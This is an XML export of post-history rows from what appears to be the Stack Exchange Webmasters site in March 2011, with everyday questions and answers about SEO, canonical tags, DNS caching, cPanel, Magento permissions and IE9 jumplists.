  <row Id="24263" PostHistoryTypeId="2" PostId="10806" RevisionGUID="9f9041f0-1e69-4c25-bc11-6be7eeb29b48" CreationDate="2011-03-17T12:03:53.250" UserId="6145" Text="I use referer info to track which of my campaigns works the best. So instead of&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;someweb.com&quot;&gt;someweb&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I have a link like&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://someweb.com?utm_source=john&amp;utm_medium=email&amp;utm_content=NAME&amp;utm_campaign=campaing&quot;&gt;someweb&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Now when a user cliks &quot;someweb&quot; the whole URL string is shown in the adressbar. Is this possible to mask/hide somehow? Maybe via .htaccss?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="24264" PostHistoryTypeId="1" PostId="10806" RevisionGUID="9f9041f0-1e69-4c25-bc11-6be7eeb29b48" CreationDate="2011-03-17T12:03:53.250" UserId="6145" Text="Can I remove visible referer from link?" />
  <row Id="24265" PostHistoryTypeId="3" PostId="10806" RevisionGUID="9f9041f0-1e69-4c25-bc11-6be7eeb29b48" CreationDate="2011-03-17T12:03:53.250" UserId="6145" Text="&lt;google-analytics&gt;&lt;htaccess&gt;&lt;referrer&gt;" />
  <row Id="24267" PostHistoryTypeId="2" PostId="10808" RevisionGUID="955625c6-f9b1-4993-8e7c-d8fa39d0a618" CreationDate="2011-03-17T12:18:02.407" UserId="233" Text="For search engines, putting the correct URL in a [canonical link tag][1] is the best idea. Then is search engines follow the link, they know the correc URL so show in search results.&#xD;&#xA;&#xD;&#xA;Your concern may be with users copying the full URL and pasting elsewhere. A good solution here is to do a 301 redirect back to the canonical page. So when you load the home page, first check the URL parameters and take whatever actions you do already. Then serve a redirect to the root page without the query string.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="24268" PostHistoryTypeId="2" PostId="10809" RevisionGUID="0c55f5a8-f88a-4eb1-b5f1-1ddac765db0d" CreationDate="2011-03-17T12:23:12.610" UserId="6146" Text="Does anyone know of a web app or some such tool that simply checks an RSS feed and archives each news item and has the ability to export rss or generic xml (or even better, automatically saves it).  I'm having a surprisingly hard time finding anything like this.  A programmatic solution should not be difficult, but I'd like to identify a user-friendly tool for a client." />
  <row Id="24269" PostHistoryTypeId="1" PostId="10809" RevisionGUID="0c55f5a8-f88a-4eb1-b5f1-1ddac765db0d" CreationDate="2011-03-17T12:23:12.610" UserId="6146" Text="Tool for RSS &quot;Archive&quot; in XML" />
  <row Id="24270" PostHistoryTypeId="3" PostId="10809" RevisionGUID="0c55f5a8-f88a-4eb1-b5f1-1ddac765db0d" CreationDate="2011-03-17T12:23:12.610" UserId="6146" Text="&lt;rss&gt;&lt;xml&gt;" />
  <row Id="24271" PostHistoryTypeId="2" PostId="10810" RevisionGUID="f3578ac8-88ab-49c8-ba5c-eac6bce1e316" CreationDate="2011-03-17T12:37:59.820" UserId="6147" Text="Yesterday I changed my DNS servers to point to a different server.  This change has still not been displayed on my own computer, but it does from other computers around the world (checked using browsershots.org)  I'm using OpenDNS for my DNS and there cache is pointing to the correct server.&#xD;&#xA;&#xD;&#xA;What could be meaning my computer still isn't going to the right place?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="24272" PostHistoryTypeId="1" PostId="10810" RevisionGUID="f3578ac8-88ab-49c8-ba5c-eac6bce1e316" CreationDate="2011-03-17T12:37:59.820" UserId="6147" Text="Confusing caching issue-DNS" />
  <row Id="24273" PostHistoryTypeId="3" PostId="10810" RevisionGUID="f3578ac8-88ab-49c8-ba5c-eac6bce1e316" CreationDate="2011-03-17T12:37:59.820" UserId="6147" Text="&lt;dns&gt;&lt;cache&gt;" />
  <row Id="24274" PostHistoryTypeId="2" PostId="10811" RevisionGUID="05d31242-8a2c-4a8d-8107-35cc35936760" CreationDate="2011-03-17T12:46:12.013" UserId="1643" Text="It takes a while for changes to ripple around the world, so I'd give it a bit longer. Another possibility is that you have a hosts file (in /etc/hosts or c:\windows\system32\drivers\etc\hosts depending on your operating system) that has the IP address hardcoded in it. " />
  <row Id="24277" PostHistoryTypeId="2" PostId="10813" RevisionGUID="d42221f6-e801-4567-975a-d3720921f62f" CreationDate="2011-03-17T13:05:38.440" UserId="5739" Text="Everyone should see the updated record change somewhere between instantly and the relevant TTL value set on the record. But in practice they don't and you experience what you are seeing.&#xD;&#xA;&#xD;&#xA;A lot of ISP's don't honour the Time to Live [TTL value][1] and hold on to the old record for longer, some badly configured caches may not see the change if the TTL value is very low as they ignore TTL's below a certain value.&#xD;&#xA;&#xD;&#xA;I have also seen a DNS change come into effect on a machine then a couple of hours later it reverts back again and flip flops for a while like this. Very confusing.&#xD;&#xA;&#xD;&#xA;It might be worthwhile flushing your machines DNS. This can sometimes help speed up the change&#xD;&#xA;&#xD;&#xA;ipconfig /flushdns &#xD;&#xA;&#xD;&#xA;if you are on windows. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Time_to_live" />
  <row Id="24278" PostHistoryTypeId="4" PostId="10780" RevisionGUID="faac54bc-5473-4b1b-96d1-e0e72ba33d02" CreationDate="2011-03-17T13:15:35.800" UserId="5739" Comment="EDIT: Changed spelling of traacking to tracking for better Search results." Text="Best stats tool for cross-domain tracking" />
  <row Id="24279" PostHistoryTypeId="24" PostId="10780" RevisionGUID="faac54bc-5473-4b1b-96d1-e0e72ba33d02" CreationDate="2011-03-17T13:15:35.800" Comment="Proposed by 5739 approved by 1253 edit id of 72" />
  <row Id="24280" PostHistoryTypeId="2" PostId="10814" RevisionGUID="b5482643-dfaf-472f-ac53-7354e4b55b4b" CreationDate="2011-03-10T04:12:10.867" UserDisplayName="Tuco" Text="Bandwidth stat in cPanel updates two or three times a day. Is it hoster settings or where can I see actual badnwidth usage stat?" />
  <row Id="24281" PostHistoryTypeId="1" PostId="10814" RevisionGUID="b5482643-dfaf-472f-ac53-7354e4b55b4b" CreationDate="2011-03-10T04:12:10.867" UserDisplayName="Tuco" Text="cPanel bandwidth stat" />
  <row Id="24282" PostHistoryTypeId="3" PostId="10814" RevisionGUID="b5482643-dfaf-472f-ac53-7354e4b55b4b" CreationDate="2011-03-10T04:12:10.867" UserDisplayName="Tuco" Text="&lt;php&gt;&lt;cpanel&gt;" />
  <row Id="24283" PostHistoryTypeId="17" PostId="10814" RevisionGUID="4853fe30-7f81-4336-aa07-0aa340d80d28" CreationDate="2011-03-17T13:19:59.320" UserId="-1" Comment="from http://stackoverflow.com/questions/5255374/cpanel-bandwidth-stat" Text="" />
  <row Id="24284" PostHistoryTypeId="2" PostId="10815" RevisionGUID="fa7dcb40-9c57-41c5-b823-f21a45231f3a" CreationDate="2011-03-17T13:24:24.103" UserId="5739" Text="It will be a cron job set up by the host." />
  <row Id="24285" PostHistoryTypeId="5" PostId="10815" RevisionGUID="25f1c4bd-2ac4-46bb-8910-095391a32ac5" CreationDate="2011-03-17T13:32:23.300" UserId="5739" Comment="EDIT: More in depth answer." Text="It is configured by the host by editing the &quot;Bandwidth Processing Frequency&quot; in their Web Host Manger&#xD;&#xA;&#xD;&#xA;See [Schedule Configuration][1] for further information.&#xD;&#xA;&#xD;&#xA;Another Doc of interest might be: [Apparent Discrepancies in Bandwidth Usage Statistics][2]  which explains discrepancies in stats between certain log analysis programs in CPAnel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/StatsConfig&#xD;&#xA;  [2]: http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/BandwidthDiscrepancies" />
  <row Id="24286" PostHistoryTypeId="2" PostId="10816" RevisionGUID="9de49915-c4cc-484c-b966-be2210227913" CreationDate="2011-03-16T13:29:39.323" UserDisplayName="amir" Text="I'm using magento 1.4.0 and when I try to get to magento connect and download a plugin the page will say&#xD;&#xA;&#xD;&#xA;&gt; &gt; Error: Please check for sufficient write file permissions&#xD;&#xA;&gt; &#xD;&#xA;&gt; Your Magento folder does not have&#xD;&#xA;&gt; sufficient write permissions, which&#xD;&#xA;&gt; this web based downloader requires.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you wish to proceed downloading&#xD;&#xA;&gt; Magento packages online, please set&#xD;&#xA;&gt; all Magento folders to have writable&#xD;&#xA;&gt; permission for the web server user&#xD;&#xA;&gt; (example: apache) and press the&#xD;&#xA;&gt; &quot;Refresh&quot; button to try again.&#xD;&#xA;&#xD;&#xA;does anyone know how I can fix this problem,&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;Update: the plugin I'm trying to use is MagentoPycho light box so I unpacked the folder into the app/code/local but it still doesn't show in the admin area&#xD;&#xA;" />
  <row Id="24287" PostHistoryTypeId="1" PostId="10816" RevisionGUID="9de49915-c4cc-484c-b966-be2210227913" CreationDate="2011-03-16T13:29:39.323" UserDisplayName="amir" Text="problem connecting to magento connect" />
  <row Id="24288" PostHistoryTypeId="3" PostId="10816" RevisionGUID="9de49915-c4cc-484c-b966-be2210227913" CreationDate="2011-03-16T13:29:39.323" UserDisplayName="amir" Text="&lt;magento&gt;" />
  <row Id="24289" PostHistoryTypeId="17" PostId="10816" RevisionGUID="cb8778b6-da2e-4045-9e65-24607ff542ef" CreationDate="2011-03-17T13:46:54.813" UserId="-1" Comment="from http://stackoverflow.com/questions/5326010/problem-connecting-to-magento-connect" Text="" />
  <row Id="24290" PostHistoryTypeId="17" PostId="10818" RevisionGUID="d604b513-6068-47fa-b26e-41d357148f08" CreationDate="2011-03-17T13:57:24.403" UserId="-1" Comment="from http://stackoverflow.com/questions/5327579/does-your-company-name-in-an-article-title-damage-search-engine-relevance/5327650#5327650" Text="" />
  <row Id="24291" PostHistoryTypeId="2" PostId="10818" RevisionGUID="362204f4-7fe2-4415-9a68-caf041dce8b1" CreationDate="2011-03-16T15:32:38.977" UserDisplayName="Stargazer712" Text="I'd say don't worry about it.&#xD;&#xA;&#xD;&#xA;The two most important factors when it comes to the search engine ranking of your site are:&#xD;&#xA;&#xD;&#xA; 1. Having relevant content on your site.&#xD;&#xA; 2. Having reputable sites link to your site.&#xD;&#xA;&#xD;&#xA;Focus on those two factors, and you'll be sure to go up in the rankings. If you neglect those two things, then nothing else you do will matter." />
  <row Id="24292" PostHistoryTypeId="2" PostId="10817" RevisionGUID="6a66ee10-d144-4921-ae18-245c63affdb4" CreationDate="2011-03-16T15:27:52.947" UserDisplayName="user492681" Text="I've been wondering about this for a while but never come across a solid answer.&#xD;&#xA;&#xD;&#xA;Many websites include their name in all the title tags of their articles. This is often apparent in word-press blogs etc.&#xD;&#xA;&#xD;&#xA;eg:   Tsunami hits Japan and leaves thousands homeless | My Website Name&#xD;&#xA;&#xD;&#xA;The issue I have is that Search engines strip the stop words out of this sentence to leave the words in which it compares to the body text.&#xD;&#xA;&#xD;&#xA;So if I want my article to rank well and be relevant, in this case about the terrible Tsunami that has recently struck Japan what is to STOP the MY WEBSITE NAME section of the title de-valuing the relevance of the article.&#xD;&#xA;&#xD;&#xA;Am I over-worrying?&#xD;&#xA;Or should I take this in to consideration?&#xD;&#xA;&#xD;&#xA;Thanks for advice in advance.&#xD;&#xA;" />
  <row Id="24293" PostHistoryTypeId="1" PostId="10817" RevisionGUID="6a66ee10-d144-4921-ae18-245c63affdb4" CreationDate="2011-03-16T15:27:52.947" UserDisplayName="user492681" Text="Does your company name in an article title damage Search Engine relevance" />
  <row Id="24294" PostHistoryTypeId="3" PostId="10817" RevisionGUID="6a66ee10-d144-4921-ae18-245c63affdb4" CreationDate="2011-03-16T15:27:52.947" UserDisplayName="user492681" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="24295" PostHistoryTypeId="17" PostId="10817" RevisionGUID="5c921fd4-2321-4af2-b833-217549b9b76a" CreationDate="2011-03-17T13:57:24.403" UserId="-1" Comment="from http://stackoverflow.com/questions/5327579/does-your-company-name-in-an-article-title-damage-search-engine-relevance" Text="" />
  <row Id="24296" PostHistoryTypeId="2" PostId="10819" RevisionGUID="8f247362-47c5-44b3-949a-5b8a3eb15b6d" CreationDate="2011-03-17T14:00:06.027" UserId="6113" Text="http://www.seomoz.org/blog title:&#xD;&#xA;&quot;SEO Blog | SEOmoz Blog Featuring Search Engine Marketing Tactics &amp; Strategies&quot;&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/blog/restricting-robot-access-for-improved-seo title:&#xD;&#xA;&quot;Restricting Robot Access for Improved SEO | SEOmoz&quot;&#xD;&#xA;&#xD;&#xA;They use unique titles for each article, then. &lt;title&gt; is used to describe a page, not a website. IMHO the best user experience is provided when you use a well defined, consistent template for titles, for example &quot;title of the page - name of the website&quot; or &quot;archives for MONTH YEAR - name of the website&quot;." />
  <row Id="24297" PostHistoryTypeId="2" PostId="10820" RevisionGUID="fb18d2c5-0114-46c7-b3ec-bc91de7109e1" CreationDate="2011-03-17T14:17:05.317" UserId="6149" Text="My company have a 40 sites with different domains that some of their articles appears in my main website with reference to their source.&#xD;&#xA;&#xD;&#xA;Our articles write by high level processionals in the field that they write about - we also pay them high salary.&#xD;&#xA;&#xD;&#xA;In recent google algorithm change my main site rating down very seriously.&#xD;&#xA;&#xD;&#xA;**What should we do to restore company main site google rating?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;our solution and ideas that not working well: &#xD;&#xA;&#xD;&#xA;1. rel=&quot;canonical&quot; but  will delete the source site or main site url from google search results &#xD;&#xA; &#xD;&#xA;2. meta &quot;original-source&quot; but not have rating influence (we already have it without results)&#xD;&#xA;&#xD;&#xA;3. html5 &lt;link&gt; but we not use html5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="24298" PostHistoryTypeId="1" PostId="10820" RevisionGUID="fb18d2c5-0114-46c7-b3ec-bc91de7109e1" CreationDate="2011-03-17T14:17:05.317" UserId="6149" Text="Google new algorithm: My company have a 40 sites with different domains that some of their articles appears in my main website" />
  <row Id="24299" PostHistoryTypeId="3" PostId="10820" RevisionGUID="fb18d2c5-0114-46c7-b3ec-bc91de7109e1" CreationDate="2011-03-17T14:17:05.317" UserId="6149" Text="&lt;seo&gt;&lt;google-search&gt;&lt;canonical-url&gt;&lt;multiple-domains&gt;" />
  <row Id="24300" PostHistoryTypeId="2" PostId="10821" RevisionGUID="434cae1a-a467-4fbf-93a5-3bd60b477507" CreationDate="2011-03-17T14:20:48.823" UserId="1253" Text="Who says they are stop words or are stripped out by search engines? I know none of the search engines have and I haven't seen anyone offering real evidence that this is the case. Sounds like of speculation being thrown around like fact to me.&#xD;&#xA;&#xD;&#xA;You have to remember there is more to life then the search engines. Users see page title's, too, and they are the default text used when a page is bookmarked. It is a no-brainer to want your website name in that text for those reasons. And if you look around you'll see that having the name of the website in the title is an extremely common practice and no one seems to be suffering for it. &#xD;&#xA;&#xD;&#xA;Don't worry about. Do the smart thing and keep it in the title." />
  <row Id="24301" PostHistoryTypeId="5" PostId="10820" RevisionGUID="3e53a484-ee71-42a2-87c3-1e4d14fc9fcc" CreationDate="2011-03-17T14:25:38.677" UserId="6149" Comment="added 17 characters in body" Text="My company have a 40 sites with different domains that some of their articles appears in my main website with reference to their source.&#xD;&#xA;&#xD;&#xA;Our articles write by high level processionals in the field that they write about - we also pay them high salary.&#xD;&#xA;&#xD;&#xA;In recent google algorithm change my main site rating down very seriously.&#xD;&#xA;&#xD;&#xA;**What should we do to restore company main site google rating?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;our solution and ideas that not working well: &#xD;&#xA;&#xD;&#xA;1. rel=&quot;canonical&quot; to source website (we already have it before google change without results)&#xD;&#xA; &#xD;&#xA;2. meta &quot;original-source&quot; but not have rating influence (we already have it before google change without results)&#xD;&#xA;&#xD;&#xA;Edit:: change &quot;our solution above&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="24302" PostHistoryTypeId="25" PostId="10802" RevisionGUID="5b2fda75-ea22-4f49-9b9a-4d2966cb7be3" CreationDate="2011-03-17T14:30:23.267" Comment="http://twitter.com/#!/StackWebmasters/status/48390727847260161" />
  <row Id="24303" PostHistoryTypeId="2" PostId="10822" RevisionGUID="91d49afb-fe0f-4561-b00b-5b4b4f38a464" CreationDate="2011-03-17T14:41:16.080" UserId="5739" Text="Have a read through this site: [Optimize Apache for WordPress][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thethemefoundry.com/blog/optimize-apache-wordpress/" />
  <row Id="24310" PostHistoryTypeId="2" PostId="10824" RevisionGUID="9da1fea4-240b-45d5-84be-47a7ff3d7853" CreationDate="2011-03-17T14:54:41.730" UserId="4142" Text="I almost always use an &quot;Option 2&quot; approach in these types of scenarios, in an effort to keep my *presentation* and *content* separate.&#xD;&#xA;&#xD;&#xA;It's good practice to keep any frills or decorative aspects of your web site within CSS if possible. HTML should be used for marking up content, and not for adding rounded corners or other visual aspects of your web page. If your kitten and puppy images are just adding aesthetics to your page, **keeping the images in your CSS is the way to go**.&#xD;&#xA;&#xD;&#xA;There's at least one scenario where I don't believe this is the case, however; image galleries. An image gallery would be an excellent use of &quot;Option 1&quot;, because in that case the image thumbnails *are* the content." />
  <row Id="24311" PostHistoryTypeId="2" PostId="10825" RevisionGUID="7b36901a-4ccf-4781-902d-df327f6ec34f" CreationDate="2011-03-17T14:57:44.427" UserId="6150" Text="I set up a test in Google Website Optimizer that has a 3 variations - original (A), B, and C. In order to further validate the results of the test, I added a variation C that is exactly the same as the original. And thats where the results get weird.&#xD;&#xA;&#xD;&#xA;6 days in to the test, the best performing variation is C. It outperforms the original by 18.4%! How is that possible?&#xD;&#xA;&#xD;&#xA;Do I now discount the results of this test entirely?" />
  <row Id="24312" PostHistoryTypeId="1" PostId="10825" RevisionGUID="7b36901a-4ccf-4781-902d-df327f6ec34f" CreationDate="2011-03-17T14:57:44.427" UserId="6150" Text="Wierd Results A/B Test in Google Website Optimizer" />
  <row Id="24313" PostHistoryTypeId="3" PostId="10825" RevisionGUID="7b36901a-4ccf-4781-902d-df327f6ec34f" CreationDate="2011-03-17T14:57:44.427" UserId="6150" Text="&lt;testing&gt;&lt;a-b-testing&gt;&lt;google-website-optimizer&gt;" />
  <row Id="24315" PostHistoryTypeId="2" PostId="10826" RevisionGUID="4eae20e1-6971-4d5b-880b-f0d9503d7068" CreationDate="2011-03-17T15:07:57.117" UserId="5800" Text="I am doing some updates to a 10-year old site, and I am baffled.  Everything worked great locally, so I uploaded a bunch of stuff to the server using filezilla.  Within filezilla I can see all of the files, but for some reason I get a 404 when trying to view them.&#xD;&#xA;&#xD;&#xA;It seems as though (at least for the folder Im currently checking) this is happening for items which are &quot;farther down the list&quot; alphabetically.  I tried to re-upload a file individually but it didn't change anything.&#xD;&#xA;&#xD;&#xA;Is this an indication that I hit some sort of limit with the hosting company?  And if so why can I still view the files from filezilla?  Please offer guidance.  I am at a loss." />
  <row Id="24316" PostHistoryTypeId="1" PostId="10826" RevisionGUID="4eae20e1-6971-4d5b-880b-f0d9503d7068" CreationDate="2011-03-17T15:07:57.117" UserId="5800" Text="I see files in filezilla, but the internet denies their existance" />
  <row Id="24317" PostHistoryTypeId="3" PostId="10826" RevisionGUID="4eae20e1-6971-4d5b-880b-f0d9503d7068" CreationDate="2011-03-17T15:07:57.117" UserId="5800" Text="&lt;web-hosting&gt;&lt;404&gt;&lt;ftp&gt;" />
  <row Id="24318" PostHistoryTypeId="2" PostId="10827" RevisionGUID="6012544f-e24d-42f0-9ece-232858d570f6" CreationDate="2011-03-17T15:10:23.003" UserId="1253" Text="If you're already using rel=&quot;canonical&quot; and the &quot;original-source&quot; meta tag then it sounds like you're one of the innocent victims of Google's update. Unfortunately there doesn't seem to be anything you can do but wait as Google continues to improve their algorithm. In the meantime do what always seems to make Google happy: try to get some quality links to the articles." />
  <row Id="24319" PostHistoryTypeId="2" PostId="10828" RevisionGUID="935041af-c578-42b3-bd92-1f301da501d4" CreationDate="2011-03-17T15:28:27.910" UserId="5739" Text="Firstly, can you upload a unique file to the root dir and then check on the internet that it is there. Just wondering if you have for some reason connected to the wrong area/account. Have done this myself before.&#xD;&#xA;&#xD;&#xA;Also, can you clear the whole directory and then upload one of the &quot;non-working&quot; files and test?&#xD;&#xA;&#xD;&#xA;Or create a sub directory and upload to that, testing one file at a time.&#xD;&#xA;&#xD;&#xA;Give us a list of the file names &amp; directories, and a url we can test?&#xD;&#xA;&#xD;&#xA;Also as Paulmorriss says, check the file name case as non windows servers are a bit fussy about this. You have F5'd/refreshed Filezilla to double check the directory does contain these files" />
  <row Id="24320" PostHistoryTypeId="2" PostId="10829" RevisionGUID="117e5b8c-b194-4675-b22c-4afe959fcaaa" CreationDate="2011-03-17T15:43:07.557" UserId="1643" Text="I found the answer with the SM36_3M.jpg file, you need to make sure the extension is uppercase:&#xD;&#xA;http://ercolehome.com/images/products/mirrors/SM36_3M.JPG&#xD;&#xA;&#xD;&#xA;The way I found this out was by going to here&#xD;&#xA;&#xD;&#xA;http://ercolehome.com/images/products/mirrors/&#xD;&#xA;&#xD;&#xA;You might want to turn off directory listing." />
  <row Id="24321" PostHistoryTypeId="2" PostId="10830" RevisionGUID="ee33fd95-845d-4e4b-83b3-cf588cdba16f" CreationDate="2011-03-17T15:53:47.223" UserId="6155" Text="I'm the webmaster of an online shop based in Austria (Europe). Therefore we registered &quot;example.at&quot;. We also own different other domain names like &quot;example-shop.com&quot; and &quot;example.info&quot;. Currently all those domains are **redirected (301)** to the **.at** one.&#xD;&#xA;&#xD;&#xA;Still available is: &quot;example.net&quot; and &quot;example.org&quot; (and .ws/.cc), unfortunately not available: .de/.eu&#xD;&#xA;The .com is currently owned by one of our partners, the contract ends in 2012 but until then we have no chance to get this one.&#xD;&#xA;&#xD;&#xA;Recently I read more about geo-targeting and I noticed ONE big deal. The tld &quot;.at&quot; is hardly recognised in Germany (google.de) whereas it is excellently listed in Austria (google.at). *As a result of the .at I **cannot** set the target location manually (or to unlisted)*. More info: https://www.google.com/support/webmasters/bin/answer.py?answer=62399&amp;hl=en&#xD;&#xA;&#xD;&#xA;This is a big problem. I looked at Google Analytics and - although Germany is 10x as big as Austria - there are more visits from Austria. &#xD;&#xA;&#xD;&#xA;**So, how should I config the domain in order to get the best results in both, Germany and Austria?**&#xD;&#xA;&#xD;&#xA;I thought of some solutions:&#xD;&#xA;&#xD;&#xA; 1. First I could stop redirecting the .info. Then there would be a duplicate of the .at one. Moreover, in Webmastertools, I could set the target location of the .info to Germany. As the .at still targets Austria, both would be targeted - however *I don't now if google punishes one of them because of the duplicate content*?&#xD;&#xA; 2. Same as 1. but with .net or .org (I think .info is not a &quot;nice&quot; domain and moreover I think search engines prefer .com, .net or .org to .info).&#xD;&#xA; 3. Same as 1. (or 2.) but with a *rel=&quot;canonical&quot;* on the new one (pointing to the .at). Con: I don't think this will improve the situation, because it still tells google that the .at one is more important, like: &quot;if .info points to .at, the target may still be Austria&quot;.&#xD;&#xA; 4. rel=&quot;canonical&quot; on the .at pointing to the new (.info or .net or .org). However I fear that this will have a negative impact on the listing on google.at because: &quot;Hey, the well-known .at is not important anymore, so let's focus on the .info which is not well-known.&quot; -&gt; Therefore: bad position in search results.&#xD;&#xA; 5. Redirect .at to the new (.info or .net or .org) with a 301-Redirect. Con: Might be worse than 4, we might loose Page-Rank (or &quot;the value of the page&quot;, because google says that page rank is not important anymore). Moreover this might be even more confusing for the customers. In 3. or 4. customers don't get redirected, they do not see the canonical-meta-tag.&#xD;&#xA;&#xD;&#xA;So, dear experts, please tell me what the best option would be!&#xD;&#xA;&#xD;&#xA;Thank you very much for your advice in advance and please excuse the long question. I really appreciate this network!&#xD;&#xA;&#xD;&#xA;Please note: It's exactly the same content AND language. In Austria we speak German.&#xD;&#xA; " />
  <row Id="24322" PostHistoryTypeId="1" PostId="10830" RevisionGUID="ee33fd95-845d-4e4b-83b3-cf588cdba16f" CreationDate="2011-03-17T15:53:47.223" UserId="6155" Text="SEO/Google: How should I handle multiple countries and domains?" />
  <row Id="24323" PostHistoryTypeId="3" PostId="10830" RevisionGUID="ee33fd95-845d-4e4b-83b3-cf588cdba16f" CreationDate="2011-03-17T15:53:47.223" UserId="6155" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;" />
  <row Id="24324" PostHistoryTypeId="5" PostId="10820" RevisionGUID="d560f306-58b7-4297-9ad5-ee2ecc11aa66" CreationDate="2011-03-17T16:01:39.383" UserId="6149" Comment="added 140 characters in body" Text="My company have a 40 sites with different domains that some of their articles appears in my main website with reference to their source.&#xD;&#xA;&#xD;&#xA;Our articles write by high level processionals in the field that they write about - we also pay them high salary.&#xD;&#xA;&#xD;&#xA;In recent google algorithm change my main site rating down very seriously.&#xD;&#xA;&#xD;&#xA;**What should we do to restore company main site google rating?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;our solution and ideas that not working well: &#xD;&#xA;&#xD;&#xA;1. rel=&quot;canonical&quot; to source website (we already have it before google change without results)&#xD;&#xA; &#xD;&#xA;2. meta &quot;original-source&quot; but not have rating influence (we already have it before google change without results)&#xD;&#xA;&#xD;&#xA;Edit::&#xD;&#xA;maybe we should delete rel=&quot;canonical&quot; from main website articles that refer to our other small websites&#xD;&#xA;(because this articles in main website not indexed in google)?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="24325" PostHistoryTypeId="5" PostId="10827" RevisionGUID="599b5b10-c525-49c1-a85d-646a70e4a6e8" CreationDate="2011-03-17T16:26:38.713" UserId="1253" Comment="added 395 characters in body" Text="If you're already using rel=&quot;canonical&quot; and the &quot;original-source&quot; meta tag then it sounds like you're one of the innocent victims of Google's update. Unfortunately there doesn't seem to be anything you can do but wait as Google continues to improve their algorithm. In the meantime do what always seems to make Google happy: try to get some quality links to the articles.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Always use rel=&quot;canonical&quot; when it is appropriate. It's not a tool you use when you want to. It's a tool to use when there is duplicate content and you need to specify the the &quot;main&quot; source of that content. Put it on all of the duplicate content pages and make sure it points to the one you want to rank well. Don't play with it for SEO purposes. You'll only make things worse." />
  <row Id="24326" PostHistoryTypeId="2" PostId="10831" RevisionGUID="f5c0b44d-9513-49f1-8488-101bc24d095f" CreationDate="2011-03-17T16:36:43.147" UserId="132" Text="Having installed the Internet Explorer 9 release, I've experimented with the jumplists feature available in Windows 7 - drag a site tab down to the taskbar to create a jumplist. Works for Facebook and Twitter, anyway.&#xD;&#xA;&#xD;&#xA;I have my suspicions about the utility of this feature - it's a neat and possibly useful feature, yet is limited to the combination of IE9 and Windows 7, plus sites implementing the appropriate code.&#xD;&#xA;&#xD;&#xA;Given the relatively small audience at this point, is there any value in adding code to support this feature? And would it likely be more useful for a web application (e.g. Twitter, Facebook) than a typical website?" />
  <row Id="24327" PostHistoryTypeId="1" PostId="10831" RevisionGUID="f5c0b44d-9513-49f1-8488-101bc24d095f" CreationDate="2011-03-17T16:36:43.147" UserId="132" Text="How likely are IE9 jumplists to be useful?" />
  <row Id="24328" PostHistoryTypeId="3" PostId="10831" RevisionGUID="f5c0b44d-9513-49f1-8488-101bc24d095f" CreationDate="2011-03-17T16:36:43.147" UserId="132" Text="&lt;internet-explorer-9&gt;&lt;jumplists&gt;" />
  <row Id="24329" PostHistoryTypeId="2" PostId="10832" RevisionGUID="97f9400e-1f0f-46c4-9aa3-df758092ff74" CreationDate="2011-03-17T17:02:27.950" UserId="1253" Text="As of right now developers would be doing this partially out of curiosity and partly to get ahead of the game. After all, as you've pointed out, the user base is tiny right now and even at full saturation the maximum numbers of users will be limited to those running IE9 and Win 7 (or newer).&#xD;&#xA;&#xD;&#xA;I think it is a good idea, but shouldn't be a priority, to start exploring and implementing this feature in a website. Besides the fact that it's not difficult or overly time consuming to do, by implementing sooner rather then later you get a chance to reach early adopters who tend to be the ones who spread the word about new technologies. You also get a chance to flush how this new functionality can benefit you and evolve it over time so it becomes a better tool for your users and thus for you.&#xD;&#xA;&#xD;&#xA;I think any website that is either a web application, or a content website that is large enough to have that content organized into major categories, could benefit from this. A small website or blog, etc, probably wouldn't benefit from this as not only would users be less inclined to use try it but once they saw it offered no real functionality they would probably remove it from their system." />
  <row Id="24330" PostHistoryTypeId="2" PostId="10833" RevisionGUID="23ea54cd-a072-46b4-92c4-08704f60a846" CreationDate="2011-03-17T17:12:57.183" UserId="1588" Text="This March 2011 blog post compares four current offerings:&lt;br&gt;&#xD;&#xA;http://winwar.co.uk/2011/03/what-is-the-most-accurate-search-engine-rank-checker/" />
  <row Id="24331" PostHistoryTypeId="25" PostId="10831" RevisionGUID="30e69814-03cd-4d38-8180-99dbfb01c310" CreationDate="2011-03-17T17:30:22.567" Comment="http://twitter.com/#!/StackWebmasters/status/48436023281205249" />
